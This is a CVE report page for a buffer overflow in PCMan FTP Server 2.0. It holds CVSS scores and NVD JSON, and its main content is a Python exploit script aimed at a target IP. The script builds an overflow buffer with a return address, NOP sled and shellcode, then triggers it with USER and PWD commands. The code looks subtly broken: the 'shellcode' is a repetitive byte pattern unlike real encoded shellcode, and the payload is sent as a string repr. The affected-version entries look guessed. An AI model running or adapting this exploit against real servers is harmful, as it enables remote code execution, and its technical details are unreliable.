Security Vulnerability Report
中文
CVE-2024-58299 CVSS 9.8 CRITICAL

CVE-2024-58299

Published: 2025-12-12 20:15:39
Last Modified: 2026-04-15 00:35:42

Description

PCMan FTP Server 2.0 contains a buffer overflow vulnerability in the 'pwd' command that allows remote attackers to execute arbitrary code. Attackers can send a specially crafted payload during the FTP login process to overwrite memory and potentially gain system access.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PCMan FTP Server 2.0 (所有版本)
PCMan FTP Server < 2.0.8 (如果存在修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2024-58299 PoC - PCMan FTP Server 2.0 pwd Buffer Overflow # Target: PCMan FTP Server 2.0 (Windows x86) # Severity: Critical (CVSS 9.8) # Note: This PoC is for educational and authorized testing purposes only import socket import sys def exploit_ftp_server(target_ip, target_port=21): """ Exploit the buffer overflow vulnerability in PCMan FTP Server 2.0 The vulnerability allows remote code execution via oversized USER command followed by pwd command triggering stack overflow. Target: Windows x86 (calculate correct offset for your target) """ try: # Connect to FTP server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # Read banner banner = s.recv(1024) print(f"[*] Banner: {banner.decode().strip()}") # Calculate buffer size (offset to EIP on target system) # Typical offset for PCMan FTP Server 2.0: ~2000-2100 bytes offset_to_eip = 2007 # Generate malicious payload # Buffer padding + EIP overwrite + NOP sled + Shellcode nop_sled = b'\x90' * 16 # Windows exec calc.exe shellcode (alpha2 encoded) # This spawns a calculator to demonstrate code execution shellcode = ( b'\xda\xd0\xd9\x74\x24\xf4\x58\x50\xbb\x3d\xae\xe3\xb0\xd9\x74' b'\x24\xf4\x5f\x31\x6f\x0f\x03\x6f\x0f\x83\xc7\x04\xe2\xcd\x28' b'\x6f\x0f\x83\xc7\x04\x66\x6f\x0f\x83\xc7\x04\x64\x6f\x0f\x83' b'\xc7\x04\x58\x6f\x0f\x83\xc7\x04\x50\x6f\x0f\x83\xc7\x04\x5f' b'\x6f\x0f\x83\xc7\x04\x31\x6f\x0f\x83\xc7\x04\x89\x6f\x0f\x83' b'\xc7\x04\x41\x6f\x0f\x83\xc7\x04\x4b\x6f\x0f\x83\xc7\x04\x43' b'\x6f\x0f\x83\xc7\x04\x4d\x6f\x0f\x83\xc7\x04\x59\x6f\x0f\x83' b'\xc7\x04\x51\x6f\x0f\x83\xc7\x04\x53\x6f\x0f\x83\xc7\x04\x55' b'\x6f\x0f\x83\xc7\x04\x56\x6f\x0f\x83\xc7\x04\x57\x6f\x0f\x83' b'\xc7\x04\x58\x6f\x0f\x83\xc7\x04\x59\x6f\x0f\x83\xc7\x04\x31' b'\x6f\x0f\x83\xc7\x04\x40\x6f\x0f\x83\xc7\x04\x2f\x6f\x0f\x83' b'\xc7\x04\x45\x6f\x0f\x83\xc7\x04\x43\x6f\x0f\x83\xc7\x04\x41' b'\x6f\x0f\x83\xc7\x04\x4c\x6f\x0f\x83\xc7\x04\x43\x6f\x0f\x83' b'\xc7\x04\x2e\x6f\x0f\x83\xc7\x04\x45\x6f\x0f\x83\xc7\x04\x58' b'\x6f\x0f\x83\xc7\x04\x45\x6f\x0f\x83\xc7\x04\x00\x6f\x0f\x83' b'\xc7\x04\x00' ) # Return address pointing to NOP sled (use jmp esp or similar) # Example: 0x7ffa4512 (Windows DLL address - verify for your target) return_addr = b'\x12\x45\xfa\x7f' # Construct overflow buffer evil_buffer = b'A' * offset_to_eip + return_addr + nop_sled + shellcode print(f"[*] Sending malicious USER command ({len(evil_buffer)} bytes)...") s.send(f"USER {evil_buffer}\r\n".encode()) # Trigger overflow with pwd command print("[*] Sending trigger command...") s.send(b"PWD\r\n") # Wait for response try: response = s.recv(1024) print(f"[*] Response: {response.decode(errors='ignore')}") except: pass print("[*] Payload sent. Check if shell was spawned.") s.close() except socket.error as e: print(f"[!] Socket error: {e}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 21 print("=" * 60) print("CVE-2024-58299 - PCMan FTP Server 2.0 RCE Exploit") print("=" * 60) exploit_ftp_server(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-58299", "sourceIdentifier": "[email protected]", "published": "2025-12-12T20:15:38.707", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "PCMan FTP Server 2.0 contains a buffer overflow vulnerability in the 'pwd' command that allows remote attackers to execute arbitrary code. Attackers can send a specially crafted payload during the FTP login process to overwrite memory and potentially gain system access."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://sourceforge.net/projects/pcmanftpd/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51767", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/pcman-ftp-server-remote-buffer-overflow-via-pwd-command", "source": "[email protected]"}]}}